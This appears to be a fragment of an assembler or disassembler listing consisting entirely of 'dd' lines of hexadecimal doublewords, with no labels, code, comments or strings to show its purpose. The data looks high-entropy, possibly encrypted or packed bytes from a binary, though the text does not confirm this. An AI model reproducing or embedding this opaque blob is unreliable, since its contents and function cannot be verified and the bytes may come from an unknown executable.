		dd 0D4088985h, 58CDE900h
		dd 32631247h, 8D20B718h, 531A07C1h, 37428302h, 0F70BA07Dh
		dd 4EC78C4Ah, 0B7C00152h, 3924034Bh, 90167DB9h,	5CAA5479h
		dd 9608A885h, 0E9515003h, 2B84394Eh, 0C1A88984h, 239E7D0Bh
		dd 7FA0F258h, 862C6294h, 0B3132E7Ah, 83390CD1h,	7E2C000h
		dd 0EFF2801Ch, 881BC2C2h, 5AFCA2D3h, 0F4CD4256h, 0DECA9DA7h
		dd 47D603h, 74717BA3h, 0C6F64A51h, 58BF354Fh, 4945D8DFh
		dd 81436400h, 265778C1h, 59F8BD3Bh, 6B411A18h, 32387F0Ch
		dd 0FFC847BCh, 402F607Ch, 9F9D0C45h, 6E135E46h,	1A06CD76h
		dd 1E8E2737h, 1305E8C1h, 80C085D0h, 0A1F9F3ACh,	8D4E967Bh
		dd 0EC2C2904h, 1CDC72F8h, 6637D9D0h, 0BDE9C4B5h, 10AF434Dh
		dd 0AD4025Bh, 5B2A5010h, 0FC4A71A8h, 0BC0B3805h, 51A84FEBh
		dd 27CECA3Dh, 0F32E83FFh, 847BE8C4h, 810EDCF1h,	6B7F5DA2h
		dd 7AD79782h, 3116AD0Eh, 0CE4A396Ch, 0B2BE6017h, 25686609h
		dd 0B4232F75h, 0AE84F5E9h, 0AE50D48Eh, 9A655DE9h, 5FE4DA4Ah
		dd 0E90992E2h, 0A9AEF44Fh, 0EB19D5C4h, 59B758Ch, 0F77B2F22h
		dd 1B5FEAD3h, 2856B85h,	92983C1h, 16ABBC05h, 0B6B27E1Bh
		dd 19D9BA89h, 60121987h, 20FFF8B9h, 49B008B2h, 5A25A22Ch
		dd 0F284FDC2h, 4304097Bh, 0BA56458Ch, 790CCD82h, 3FEE126h
		dd 1FBB9D74h, 917695Eh,	0D380E3C1h, 0AB106C3h, 48F4754Bh
		dd 7DA104C7h, 9401629Ch, 0E90802B3h, 0BCDEB428h, 6E2C68E1h
		dd 0FCF8C2Ah, 97017B41h, 14048858h, 0FE4880CDh,	0AC0DD10h
		dd 68461968h, 9DE305BCh, 289D605Eh, 8DFBF605h, 5482FD8Fh
		dd 0A872EAC1h, 0B7F9D531h, 48A4BBEh, 0CB95F74Ah, 0D008DE5Bh
		dd 0E199EEACh, 2E3F5CA4h, 0A3E0074Fh, 2D55BB5Ch, 0ABFFD709h
		dd 0C1C07D4Ch, 0F33E7FF4h, 7B8E9232h, 0C23972B3h, 53268653h
		dd 395C0215h, 0A45710DCh, 84C259B5h, 0E90C87F1h, 66A4C099h
		dd 0EDF8E55Fh, 0B7D650E1h, 0A45D4AEFh, 400C9CC0h, 2C2C18E9h
		dd 60CD2780h, 99D412E2h, 335A9828h, 5C6396A3h, 48706F3h
		dd 9215E25Eh, 60E429AEh, 7558BF3h, 0BF8660A2h, 0E43B4D81h
		dd 0A1F96F3h, 228973CDh, 61242FA8h, 53AF012Ah, 0B1B80C82h
		dd 3160C59Fh, 7BBF2711h, 55889B97h, 26B9E1A3h, 81226879h
		dd 7E7129EDh, 80EBE042h, 0D8315E07h, 80D44BE9h,	0DAF75AD7h
		dd 2F8E18B8h, 4039394Dh, 26001DA3h, 0D5296CCFh,	90B850h
		dd 4820090Dh, 0DE4EC82Dh, 6005671Dh, 73D6E5Dh, 427424BCh
		dd 0AA3DB2A0h, 7D095F1h, 89BD6595h, 0B45155D7h,	0BB80EC31h
		dd 0F0FA2D00h, 0EBD94F2Eh, 0B818882Dh, 29CD0216h, 0FEF08401h
		dd 106FB63Eh, 2D75055Bh, 0DE54399Dh, 0EE10996Ah, 0A4F84B27h
		dd 1175031Dh, 79BE56C0h, 9C995C97h, 993835F6h, 58E5C09Ah
		dd 6BC5E8F8h, 59EC7AE9h, 90C9E25Ah, 519F27DAh, 8B09A7C9h
		dd 0C2267E5Bh, 7255F425h, 5A601954h, 0AA58EA68h, 3C8E500Fh
		dd 432D2BACh, 0F08A3084h, 2A09BDF0h, 677A878h, 9F0D2E23h
		dd 3708377Ch, 0FBB01B1h, 2025A41Bh, 2216CA11h, 0E0F81274h
		dd 9C87C112h, 0E87D0148h, 70C4E75Fh, 19B0F1BEh,	3ECB207Ch
		dd 455651B7h, 8095F2h, 25E1C3D9h, 17638C8h, 0B80514A4h
		dd 13755634h, 402D6CECh, 3DC9078Eh, 3196DF59h, 74E74AD7h
		dd 0C23ED6FBh, 3EFE795Ch, 616C08EEh, 2B27E3E9h,	2A1A16A3h
		dd 0CBFD465Eh, 0FEEFB91Dh, 6873623Ah, 1636587Dh, 0CC7A10E9h
		dd 0A04A3650h, 0C7E128h, 70319506h, 7F30D42Dh, 67006875h
		dd 54D0713h, 5FE124CFh,	4092F846h, 2BEDE907h, 0F631780Bh
		dd 0B1C112E4h, 4FA62B2Dh, 0F6D6E982h, 0D94BE554h, 63E9423Dh
		dd 9B68FB48h, 0D2027B58h, 845FAE02h, 0CB2740D5h, 0AA0BE59h
		dd 42B3C609h, 0F6668E17h, 8CB0BDB0h, 0D0A3D49Dh, 6B5A8468h
		dd 403204B3h, 0A4545821h, 0DA1B4202h, 2D525D05h, 0AE4BE298h
		dd 7E4F39FEh, 7260C4CDh, 97E49FC1h, 0FBE95216h,	0A24F13BCh
		dd 4F77C46Ch, 91141657h, 2CF821B8h, 165FCBDBh, 4BC88392h
		dd 1D0FCBDh, 6BCCF81h, 0F7D8350Bh, 8E3E1412h, 0C305F851h
		dd 0BFAD58ECh, 63BB5E91h, 0AAD7BD73h, 651C5Eh, 81C3319Bh
		dd 7CCA0EF3h, 2FDE47BCh, 0F80FAFE6h, 80580F6Eh,	0B2C203F6h
		dd 0CED9BFE7h, 324E93A8h, 0A1B11D77h, 67EFEFDh,	0F4589AC6h
		dd 0C9013BB6h, 466D7988h, 4B7A93Bh, 242DE3EAh, 5375C7FEh
		dd 0B40C2921h, 0CA4925E9h, 6043EC47h, 0DFF754F8h, 40B7FD87h
		dd 80FC9CFAh, 3D904149h, 0C22833FEh, 3804F613h,	29FBACF5h
		dd 0A45CE7C3h, 0D60AAF17h, 6A93572Dh, 3CC0B1F0h, 5F1905EFh
		dd 60F22B30h, 7709BA3Dh, 0FF2960D3h, 55BE2DE6h,	0F2FB2ACh
		dd 249C97Ah, 0F99A54h, 465FFE09h, 4881CAC9h, 4517614h
		dd 0E5C15D12h, 25A80107h, 0C5D8444Dh, 4A94FEB8h, 0F5234072h
		dd 28BC7FF2h, 4A660CC1h, 10207BFFh, 56DAEBCDh, 0BB005201h
		dd 675E7356h, 12AEF188h, 0AC98A18Ch, 980F4CEAh,	94D136ACh
		dd 0AF09BAC4h, 0B180C398h, 5C5D0C6Bh, 30066897h, 95C995D8h
		dd 2F6DE1DEh, 0E5B31384h, 0FEF5EE82h, 0A4031057h, 0C667C0BDh
		dd 4AEF5C46h, 10309298h, 7D0F3361h, 12481FFh, 5A00BAE6h
		dd 43AF028h, 5053805Ch,	88FBB652h, 0BAE926F4h, 0BC75A58Eh
		dd 0F1801C6Ah, 3CE9CFA1h, 68AB4D6Fh, 0F6D11B05h, 0CD575A58h
		dd 0CA81FFBCh, 726F3F21h, 388805A1h, 6D88510Ch,	4EC5D84h
		dd 0F9C84F79h, 0F0149971h, 0C48E2DF4h, 12B611E2h, 0FE4F8DB1h
		dd 0DD64945Eh, 2D3D3272h, 358B5A5Ah, 871F0B59h,	80FD000Fh
		dd 0B8FA8AEDh, 7F520BB7h, 6FFCACCEh, 0ED0E4897h, 9914164Eh
		dd 8941E959h, 0BB086021h, 306B18A5h, 0D07B4234h, 22A652Fh
		dd 0F25B0CF5h, 2DEA03F6h, 7C017DBDh, 4452107Ch,	2008400Ch
		dd 5E963C13h, 0B858B238h, 1FB4011h, 0F528FA77h,	425EABF1h
		dd 3F72AABCh, 4DBB3926h, 0A9A7F202h, 9F54754h, 0E90801B8h
		dd 0DB8EFD69h, 0A7E265EBh, 0FC408933h, 0F68AD524h, 258F68BFh
		dd 81999A57h, 0D766469Bh, 0A506076Bh, 0BB5E8423h, 4EE9C9E4h
		dd 4EE80029h, 52BDEE81h, 89284D0Bh, 0B9B0D5F7h,	8633E9FBh
		dd 0BBEB7961h, 0CB4F9DA7h, 772D20C0h, 762B4F1Bh, 0FBBC0948h
		dd 0E802CDFh, 7F26164Dh, 0DC449Dh, 0CAC9DCC8h, 8BE9EF29h
		dd 5C48A7EDh, 0BFD2EECAh, 4358199Eh, 0BBC0E785h, 0C0CC9822h
		dd 0BF52846Bh, 0D2AD55D3h, 0BFB25DA4h, 6191345Ah, 0C9E831A2h
		dd 4208A5C5h, 8070C3Fh,	0B72224E9h, 8566548h, 68041EF6h
		dd 3FE36D8Dh, 0E34FB312h, 20090008h, 0BBB90FC7h, 0A15725FAh
		dd 682C55D6h, 5D8C6004h, 8805A682h, 6D47D407h, 6862214Bh
		dd 7F240C25h, 459B5459h, 19B29758h, 938C655Dh, 927BB960h
		dd 0E90C5AA7h, 86CD7F16h, 15A00316h, 0B031BB2Ch, 0C427F255h
		dd 0F3EA6A89h, 0EE4E10C4h, 8E5C001h, 0EF6FCD80h, 40987D2h
		dd 6DEC4CD2h, 0C902F95Fh, 121EF2F7h, 0FC450168h, 0DFF8D70Eh
		dd 57E8CC4Eh, 8D36682Ah, 0CD74545Eh, 3EFC6DEAh,	0F435D5E3h
		dd 890A8543h, 4F6766A7h, 2E25F1h, 200DB879h, 5C9F4914h
		dd 0E280391Ah, 68101674h, 89A81EE1h, 66BD35DBh,	0B2FB14Ch
		dd 0CDAB9A5Fh, 782D26D2h, 7873FCD7h, 2981172Ah,	0D275D639h
		dd 9244B838h, 1790DAAEh, 0BD1091h, 5FD0A277h, 6573EDB2h
		dd 41F6E906h, 68530B0Ah, 7EE55E31h, 674C5B1Fh, 41323142h
		dd 0B6CD2B1Fh, 0BCE6E07Ah, 5AB72AE7h, 0FDD22827h, 1BA6816h
		dd 97FB3A8Ch, 0AC5AAC86h
		dd 506D8A53h, 80956618h, 1E306873h, 806E4ED6h, 6F7CA272h
		dd 0B9126AFFh, 69B47303h, 0D34EDBAFh, 844BD7E6h, 0D7ACAC57h
		dd 0D64EA24Eh, 402687E4h, 0D133F7C2h, 4A57455h,	0B7AB418Bh
		dd 0FD05EAD0h, 264089FAh, 9023E5B9h, 0B74DB856h, 53AC13F1h
		dd 44718D3Dh, 0F1DB1C0Eh, 0F00E58Bh, 2F4A68C8h,	0C6F1EE37h
		dd 9C7BFEE8h, 0F40E7D2h, 0C851022Dh, 0EF8135B8h, 247B58F5h
		dd 1623C729h, 66E99121h, 0EB818153h, 7E2F482Ch,	508E53Bh
		dd 39D52108h, 0F1CD8284h, 5D5B5153h, 0D848628Ch, 0B4E25A4Ah
		dd 75C76809h, 234BE846h, 62C09F84h, 73B98DF5h, 9D555D5Ah
		dd 0A769B54Eh, 0EE1269F4h, 0B23B526Eh, 0B863C456h, 0EE411B8Dh
		dd 2B190620h, 0EB5BD0B6h, 0C0BD012h, 0FEA5918h,	0D94562C6h
		dd 32DCFA7Eh, 0B666525Ch, 66941022h, 0D9503082h, 3D60FF28h
		dd 490CE87h, 286008D6h,	0C5B1E953h, 0A8D3F7D1h,	2C3D0F48h
		dd 1D07A6FCh, 0BFCB589Dh, 0A110AB5Ah, 895905BFh, 0F3BF5B33h
		dd 0B171D2E7h, 2C3B53D2h, 0E136F5Eh, 42FC2294h,	33685881h
		dd 0C4986C41h, 8DFA484Ch, 745DE528h, 0A209BA48h, 563D9651h
		dd 0E4A0BC8Ch, 90145F7Eh, 0E2658Ah, 75143BC2h, 18F22967h
		dd 622D82E9h, 42EE525Bh, 0ED28F54Eh, 0AB074A65h, 4FE9E038h
		dd 0FB7284C0h, 0D9151E40h, 9631F3BBh, 56FE1367h, 0E4FAA102h
		dd 30DC2E28h, 0F158E309h, 0D9E2AD5Ch, 14411DCh,	35F464B5h
		dd 0CDC89590h, 0D43075FCh, 89FCE17h, 0D74E58A7h, 95649C2Dh
		dd 0CFE6816h, 93C920BCh, 2730990h, 0A4CEDBBFh, 0FF581702h
		dd 8BE99E63h, 53BE12E6h, 0FF49ABBBh, 0F92E4301h, 0A82EC0EBh
		dd 1BB58432h, 20570109h, 7F2AED5Ch, 0DE1FD0Ah, 0E8014762h
		dd 0F749CE3Fh, 9B19F4DEh, 954ECCB5h, 0E670E8F4h, 1CA9011Dh
		dd 7C3311B9h, 744C30E5h, 1F0127Eh, 0DF25F177h, 2A916530h
		dd 0CF2A201Fh, 0F3326827h, 62E30557h, 0C2BC444h, 0E908DEDCh
		dd 0ED9F182Ah, 506ED4Ch, 352D2663h, 8C5DF1C3h, 654FFFACh
		dd 5162E5DAh, 0BB8F42h,	2D80EED0h, 114001F6h, 0AD46E2Ch
		dd 0DF310BCh, 72995824h, 3F08FBC1h, 0E98C2230h,	7109BF9Bh
		dd 5858D751h, 60D9B705h, 3015F8C4h, 0A5F20F24h,	9520336Dh
		dd 0F42D11B5h, 546209E2h, 37BB4657h, 0D255315Ch, 0C57DFEE5h
		dd 382D0016h, 0E933AE13h, 0D505094Ah, 0A7B3D801h, 23B9E6Ah
		dd 3B5068AFh, 3305AD40h, 0E3EC3F7Eh, 851BFF3Fh,	97C5E97Dh
		dd 0BC16F2A6h, 0F42E8C06h, 0CB543B40h, 2922C670h, 2E74BA52h
		dd 9E683BA4h, 3D59FA80h, 407E6839h, 654EE97Bh, 1AB4316h
		dd 0D953416Bh, 55E9DF30h, 831D040Ah, 7E5F13C9h,	0F5CF5170h
		dd 429B78FCh, 78EA5A74h, 2D5078CEh, 0DD5A6F5Eh,	587E33BEh
		dd 14F4FA94h, 50B8A812h, 165AFA52h, 0E853CA68h,	4F1ECD25h
		dd 820FB560h, 39974182h, 40D26801h, 803F992Bh, 0DA239BC6h
		dd 4DF16875h, 9D81DB2Ch, 2F72B60Fh, 0F2ED482Ch,	2F21E0D6h
		dd 0DEFE5DEAh, 2BECC280h, 2FE95886h, 76FA2595h,	10F1494Ah
		dd 0BFE58B28h, 4F7DBAD8h, 0F0E1A8B4h, 95A4571h,	234FE941h
		dd 0C3885D18h, 38F8DAE4h, 0ED3F9160h, 0F2E52147h, 59089F29h
		dd 4D6C2708h, 11401398h, 0D4285F59h, 38E8092Ah,	680427D1h
		dd 47FD0CA9h, 0A00EE985h, 0DF5CF752h, 47031EE7h, 7E64ABC9h
		dd 0BCC9EBAh, 19C6E5E0h, 0DE01124Ah, 0F13B85BFh, 6FFE4A70h
		dd 0F0361F8Bh, 0AE13B0CCh, 0C508C188h, 8BF525BBh, 5D457D36h
		dd 0F680104Bh, 0BB01867Ah, 5633E5Dh, 0D84F381h,	0E8D82107h
		dd 3E9856Bh, 0F2816290h, 0F72A0975h, 57C8926h, 50DB22A4h
		dd 1F222942h, 0DD1B1123h, 0AD1EDDE1h, 75276F7Eh, 0C02EA93h
		dd 32080267h, 0D1EEF789h, 2E21F601h, 0F1E905A3h, 0AC505D7Eh
		dd 0BCD41636h, 2AFB5AF0h, 5CBC4B7Fh, 76E9E3D8h,	0FCB72A70h
		dd 0F7AD58C5h, 5D615781h, 0D85E5C78h, 0C033689Eh, 0E54B2F3Eh
		dd 5D0459E2h, 0D85A5452h, 0A025E9C3h, 0F0264432h, 8B22F1BCh
		dd 4B7AF010h, 1AA161ADh, 0C6CE0707h, 0D32FE166h, 0A8CD840Ch
		dd 58D30F75h, 6754585Eh, 625D82ABh, 85DAFC60h, 0EF1910C4h
		dd 91E9C5C5h, 5834E90Bh, 0EAA6A67Ch, 586C9B25h,	0E9B7F982h
		dd 3D69C390h, 16C25BB5h, 6B978D51h, 8D916184h, 1724146Eh
		dd 652009F2h, 0E1F7536Ah, 0E47FEBAEh, 8825E970h, 40A612CEh
		dd 95AFEE5Eh, 7E34C799h, 472A9FB2h, 0FD012DA5h,	68126816h
		dd 4D366183h, 107E0C9Eh, 670C7998h, 44487478h, 622005A7h
		dd 0E9C35ECBh, 405600E3h, 6C6B8825h, 0A10B0513h, 706AEBECh
		dd 5C17B040h, 4201057Ch, 9068DDF7h, 0CB0E380Eh,	55B2B7Ah
		dd 0D503E2DCh, 0E95A535Dh, 0CC2E0B69h, 38408F7Ah, 70B3F8B1h
		dd 35CB7BB6h, 0BEC735B4h, 67A230Ch, 68500AE6h, 823672A6h
		dd 0CC8832B1h, 0A4205372h, 0C1E9136Bh, 0E4C5BC8Ah, 90CBBC00h
		dd 0BF575508h, 20BD38E5h, 23B90579h, 97B7F32h, 6F8259E5h
		dd 5305259Dh, 4BC61D28h, 3AE789F7h, 44CE6002h, 4CA6C0F0h
		dd 0F6F3951Ah, 0C15ADC2Dh, 881CF768h, 302EC1h, 6029BE56h
		dd 46734F81h, 49DBEE06h, 20C2FBAh, 693F2A0Dh, 45907C68h
		dd 0EC0146B8h, 0C631B687h, 852B1FE9h, 4AE6EAD4h, 75F0B092h
		dd 45D00618h, 2431BE0Ch, 3D1808DFh, 2AA6500Bh, 44C96ADDh
		dd 2D529F66h, 8B32E92Fh, 0CFA54FAh, 0CE5F1FFDh,	5D98594Bh
		dd 0AF954A6Ah, 0D45C34h, 0D0035FABh, 5CBE032Fh,	0D1687D4Dh
		dd 9E34D3D6h, 44A509F3h, 57D00ACEh, 51583EFEh, 7E85D3D0h
		dd 4C404005h, 9ADA31EEh, 0A8EDF356h, 33E9F052h,	5A22C2D6h
		dd 0CE894729h, 13681E77h, 8C7C6168h, 375A6EAFh,	81B534ECh
		dd 8055C39Dh, 53B45059h, 3F80CCFEh, 261386E4h, 0C0BEDC42h
		dd 8006EB04h, 0C6EC47F3h, 0BB085C1Eh, 95165930h, 0DDB23DE9h
		dd 2B3FBAF4h, 0D3291756h, 0E312B3FCh, 9B70EB45h, 9270C368h
		dd 0E1FD2F30h, 0F628105Fh, 42F995D2h, 995E79Eh,	0CF84A86h
		dd 90354000h, 102AF44h,	957C652h, 0F69534E9h, 0FCF86469h
		dd 30F64A2Ah, 16263619h, 0CBFA70B6h, 67A8F9D2h,	0C202C000h
		dd 57D90150h, 0C186F999h, 138404E0h, 0BE296802h, 64E0B4CDh
		dd 0F02EF591h, 703B4105h, 0B6BCC7Eh, 0EBB43E5h,	5867C2BFh
		dd 2F7A5714h, 5DD8E297h, 10493B71h, 0B78DE162h,	2F61941Ah
		dd 0CF57C5Bh, 0D3353968h, 0B84F5EF3h, 9A16B5A8h, 378154AAh
		dd 257E0B74h, 96DE2922h, 5A610820h, 9520B11Eh, 25150E4h
		dd 793C4D68h, 77C05939h, 0E89D0734h, 3B2B89C5h,	0E3031116h
		dd 77273F62h, 1364EC3Eh, 75871021h, 0E91C5F50h,	12B79AC5h
		dd 0EAB6C780h, 0F5BD5A1Dh, 8B40C598h, 7AC0BD5Ah, 0ECBDD921h
		dd 0CF2855D6h, 0AAEB122Eh, 9CBB83D4h, 1A269133h, 4D0B70ABh
		dd 407CFC90h, 2A080C53h, 0B57B934h, 0E25FC6BAh,	7133F304h
		dd 38AB5917h, 56F601A1h, 22BB5330h, 0A04B638Ah,	0A419F80h
		dd 0DBF72B94h, 0CC7C168Eh, 20F208B7h, 1CBC265Bh, 4B426883h
		dd 4BB7AE84h, 25CF8F3Fh, 83470407h, 13BB1ED7h, 0FCB42C30h
		dd 0FE0E163Eh, 8BD70171h, 7B32A70Dh, 80612B5h, 7014821Ch
		dd 0DE96950Fh, 80D3F2BDh, 3B0DD9h, 3F255C6Fh, 0E922D656h
		dd 2D12614Dh, 80690858h, 0C53FD303h, 36D4FF6Ah,	1726AFCCh
		dd 0BB42A70Ah, 8033169Ch, 4B9E7EE9h, 32FF6607h,	0FEDE7181h
		dd 4E4F37Ah, 7BA6452Ah,	0D035E904h, 67416896h, 0F90CC69Dh
		dd 0B8027EBFh, 7934033Eh
		dd 0EA68F2DDh, 31C7002Dh, 5406BA0h, 0CD2DA5D6h,	0CD5C339h
		dd 0B3936766h, 0FC404D82h, 9CFDB056h, 1C5D2D66h, 0E6AC2D5Ch
		dd 0FDA737F1h, 9452C80Ch, 99484128h, 4A305C5Ch,	7A47348Ch
		dd 0B8274B95h, 0D109121Dh, 13CC7608h, 96E6A058h, 0F75DAD60h
		dd 174CEF81h, 0B455142Fh, 0E2BFBCAAh, 52535FCEh, 0E920C7C4h
		dd 55D3CD29h, 0D7687702h, 0FF96FD66h, 0E51CDB98h, 0B26C7230h
		dd 884FD402h, 0A00D7E3Fh, 0FA1A208h, 5D01DF14h,	13A7E95Bh
		dd 5D3D16Fh, 3A8312Ch, 8C06A7h,	0CD8C4B9h, 5F0C92B7h, 0DDE5F221h
		dd 5204A6AEh, 0A3816418h, 0C6552186h, 580F3780h, 5B097C5Fh
		dd 5490301h, 2CB3C5Dh, 3B3A91D1h, 125FC40h, 94A62C9h, 0F731FA87h
		dd 0D5085C0Dh, 18C6EBD6h, 209448C8h, 19BD0BDEh,	2700679Eh
		dd 36206977h, 3F972D02h, 0C3E95885h, 0F82C4F90h, 7AE2A725h
		dd 27515D9Dh, 5DDF6885h, 7B09A4A3h, 8903E310h, 0A4FF95EEh
		dd 6B7BD38h, 60056151h,	745E910h, 0C88BC0EBh, 0B1B8B235h
		dd 3A07C30Fh, 390193A3h, 0B8EB5F29h, 2D02B278h,	2A62553Ch
		dd 107C1A8h, 32685E5Ah,	5B2C6F02h, 39AA0005h, 76E97598h
		dd 0A19EFEDFh, 0BC0270CAh, 0C22CB207h, 0F068FF4Ch, 0F6BC03E9h
		dd 5628C2A4h, 6B62480Eh, 8BF82201h, 5F45753Ch, 51183942h
		dd 0BF570099h, 30945FA9h, 3D15F8C1h, 5E0070FCh,	3EF37F25h
		dd 0F92974C1h, 146B63Fh, 0CF4921BFh, 0E9F80927h, 194D4DFCh
		dd 2F378328h, 14DBBDD2h, 592F932Eh, 0EBEAC952h,	8F2E287Bh
		dd 58B4DFAFh, 10DA554Ch, 80011659h, 0B652DECDh,	6AD1EDABh
		dd 2F5E5952h, 0A1B1F557h, 0FEFBB17Eh, 282CF1D5h, 22CB7BB5h
		dd 0E3BDFEE9h, 20479933h, 65DBD298h, 0F6258CEFh, 9FCBDCD7h
		dd 0A357C997h, 2189A1F6h, 0E361713Bh, 47047913h, 0B252ACE3h
		dd 0CFBAABC1h, 60C56D7Bh, 0B2A8BB3Ah, 32886A5Fh, 87F98319h
		dd 56426ADBh, 0DDB00634h, 8D413E0h, 0E862E824h,	12284C02h
		dd 0DB20DF41h, 6C5D2C6h, 0F521270Ch, 41A3C5Eh, 0E9CE0A98h
		dd 96399294h, 0F72AC2E0h, 0A0D12980h, 31C1C9E6h, 61BC9F44h
		dd 3B393E16h, 9D70C6F8h, 0C1018D64h, 1CB936AFh,	578C809h
		dd 0C598BBB5h, 0BB3C0ECEh, 0C549E93Eh, 0F67D6C7Fh, 0E4414F51h
		dd 273CE184h, 0F75EBDE3h, 0E58D6FF3h, 1F2B93FCh, 8B5B371Fh
		dd 0A746180Eh, 7F7DD40Bh, 541A843Fh, 580C5EA2h,	5DA75755h
		dd 6C4E65FEh, 67822527h, 0BB430521h, 9F42E2F5h,	4C7A6151h
		dd 80221E3Fh, 19A93D44h, 7B481635h, 48146191h, 853FB53Bh
		dd 73EFD1Ah, 7A7F39C1h,	0FA2DF569h, 17A83B11h, 13B268A3h
		dd 0D262E97Eh, 2D700B0Fh, 417F420h, 705E19BFh, 4A2EF867h
		dd 2091EBB4h, 0D062D4F6h, 610DEC0Bh, 0C61207BCh, 0D9CBCB77h
		dd 0E33F8688h, 0A8B810CCh, 5B7DEC5Ah, 0D7023EF9h, 487F772Fh
		dd 0C3F2D350h, 0EC46360Eh, 2FFDA9E9h, 46095251h, 8A897733h
		dd 68573740h, 0B7B8C54Fh, 3D355F3Eh, 0A4A9A161h, 0D3018907h
		dd 896A87F6h, 252A6ED6h, 65E298E9h, 10BFE7D5h, 651E2C3Ch
		dd 58096884h, 0EFEB38BBh, 0AD50A00Bh, 66A90340h, 9EB48D0h
		dd 3C24D78h, 9863BF7Ch,	0AD8549A2h, 8441F999h, 0FB1362BBh
		dd 0DF02424h, 0F07A319Fh, 2F6996FCh, 4DC06A89h,	50603E14h
		dd 427553B2h, 479E1857h, 0CBFE4FF2h, 0D2F712A5h, 2722A0E0h
		dd 10801046h, 64A0724h,	0F7FE870Dh, 0E72C08D7h,	344E230Ch
		dd 7409D60Ch, 0FDE9BD4Dh, 3056B541h, 10006E84h,	5BE3F21h
		dd 9AC57CF2h, 7BF6B789h, 0CE92E9C3h, 3FBD00ACh,	68523B3Dh
		dd 86B654FAh, 2EE2D6C7h, 89A857Eh, 2358DED0h, 14016405h
		dd 0F889BE7Fh, 0C4015C38h, 292C5F27h, 0E6212FC5h, 28AF769Ch
		dd 3CB1B1DEh, 5D027D3Dh, 0D0314D90h, 1656D5B6h,	0AC554268h
		dd 73EFC061h, 2AE90F59h, 3CF62D0Bh, 0C839F529h,	0FA45E5DFh
		dd 5F1390D6h, 54A19FAAh, 0A5F1F93Eh, 63AE9AE5h,	0ADE8DCA4h
		dd 0F3904813h, 760992A3h, 0B72C4403h, 8B573E5h,	18EFCAAEh
		dd 2DA8D87Ah, 0B00E2F8Fh, 0E2261954h, 8A16F507h, 8CF81A0h
		dd 13750270h, 2227E947h, 7C98BD00h, 213A3D5Eh, 122CEADAh
		dd 0FE954C6Bh, 50D735F2h, 485E9F33h, 19756861h,	0EFCFD87Ch
		dd 8358A233h, 4AE172E9h, 4DD4C0BAh, 0C8B71BBEh,	971540ECh
		dd 0C20FC012h, 0AFA94D44h, 0E3B18175h, 80750AA5h, 3BD542A2h
		dd 889AB009h, 316858C8h, 0D2314A2Fh, 12FF2D08h,	22E9BF81h
		dd 98EB2CC5h, 25BFD503h, 0F2AF44ABh, 67B25F55h,	1E23810h
		dd 80E6D05Bh, 69CDCEEh,	5AF50157h, 886C0268h, 25B2705Fh
		dd 114357E0h, 3BFF73ABh, 48984E77h, 2500FD52h, 0BA38321Ah
		dd 0B6326249h, 104BE26h, 6606F568h, 710B0479h, 3180520Dh
		dd 98B92174h, 13E27DA6h, 0A11A34Ch, 0A405B8h, 0E504ACAh
		dd 0C89F58E9h, 955BDD11h, 7EE5E564h, 0C0488609h, 168E3503h
		dd 0AECB9E0Bh, 19884F74h, 24345A2Fh, 8002BEC6h,	75775768h
		dd 2C0F2698h, 86E955B6h, 0F30607B2h, 3E09B0F3h,	0E9AD13EAh
		dd 0F2DA85C5h, 0D5CBD2h, 1E911A1h, 0FFAFAA50h, 8AD6C70Bh
		dd 0C059D4AFh, 8855A0C6h, 48B67848h, 590840A5h,	8CCB719Fh
		dd 807716E9h, 0DE38C525h, 0B6520727h, 0AFF0645Ch, 11BB0C20h
		dd 906EFC64h, 0F8410966h, 0D57E2123h, 9A10D839h, 53A2FF1Ch
		dd 4F004481h, 9E26CF6Eh, 209DA4B6h, 2429640Ah, 858CC708h
		dd 487A30Fh, 32664656h,	80BFFCC4h, 7FC78170h, 67155E06h
		dd 9FF4FA01h, 0F4A77FC5h, 7C2CC248h, 352F1855h,	0A3DF5C54h
		dd 8C645317h, 2FF93279h, 1D84F927h, 88F43CC4h, 966CF254h
		dd 0E55C2F09h, 0E29F86CFh, 2C41219h, 85C9E250h,	0B382B551h
		dd 1389D753h, 1B2F50ECh, 7C912978h, 2D43A6CBh, 5ACD0077h
		dd 923722E9h, 5D4D2D86h, 0E9130414h, 81EDC8ECh,	700FBE5Ah
		dd 2B2C926Eh, 2792D424h, 0C987420h, 623DD55Dh, 4E005E8h
		dd 0E140FEBDh, 0F317902Dh, 0F5D09D02h, 47FE0782h, 1272BF58h
		dd 0BB079120h, 193C21C0h, 0F10C5B78h, 9C0705CCh, 697957Eh
		dd 5C8AF6DCh, 12DF1C5h,	4F8FC862h, 8584E942h, 56DA67B3h
		dd 0D19FA250h, 0FEC44FFCh, 1288A286h, 0D49DED81h, 0ED30567Ah
		dd 1B2C24Dh, 7B27C1E5h,	49C1B334h, 723A60EFh, 4846BA09h
		dd 2EC7884h, 98028B68h,	192B7F9h, 0D7F6CFFEh, 38DC3BE9h
		dd 42523096h, 11A747Fh,	646E2D0Dh, 0F157D234h, 56C03A5Fh
		dd 0E225B958h, 0F8095B8Bh, 0E13582Ch, 0A2E18105h, 0D0151228h
		dd 98F019Eh, 0CB21A40Eh, 0E7E17A59h, 9B5C104h, 147A12Fh
		dd 0EFDBF6h, 2434F281h,	810F936h, 0C592AADEh, 9FBC5FAh
		dd 0C7629737h, 93CC675Dh, 8245AAD2h, 1F93D4ABh,	0B4C1D1F1h
		dd 2B89B16Ah, 90BE0435h, 2969C654h, 4A352F26h, 957E7702h
		dd 8EEAF736h, 23000809h, 6982D66h, 4EE1E927h, 0BF20721Ch
		dd 90F4726Ch, 1A8D5D4Ah, 11234C4h, 7ED4056Ah, 3B5545E2h
		dd 927BAC44h, 0E9A062BDh, 0EA951F3Ch, 0D2CBF730h, 398B15D9h
		dd 6317704h, 5E540E6Ah,	16D51D20h, 0FC42655Bh, 752567A7h
		dd 99D92598h, 4586884h,	0AA0B3BD8h, 8DCF74A0h, 2FF13FA2h
		dd 0A515ACF2h, 88261A27h, 505C09CDh, 25F99677h,	93F9F901h
		dd 7A36E98Bh, 49C27706h, 0A74B0F20h, 0C9EB9293h, 9AC7CDEBh
		dd 8B474B38h, 561D4948h, 0FB1A85F4h, 0E96A5FF9h, 61FFF5C4h
		dd 3A546842h, 0CF3C7544h, 2D765B09h, 0C0E94C52h, 443E27B8h
		dd 0C568011Fh, 58130828h, 52708A6h, 0CF61F242h,	8F456BF0h
		dd 7A917B91h, 621787F5h, 750BC1C6h, 46EF6709h, 0E98698ADh
		dd 2F6D9476h, 7C50367Ch, 60C6B59Bh, 10C071EEh, 7802D1B8h
		dd 8F82BF4Ch, 640D5D95h, 590AE82Bh, 382451A1h, 6878D81Ch
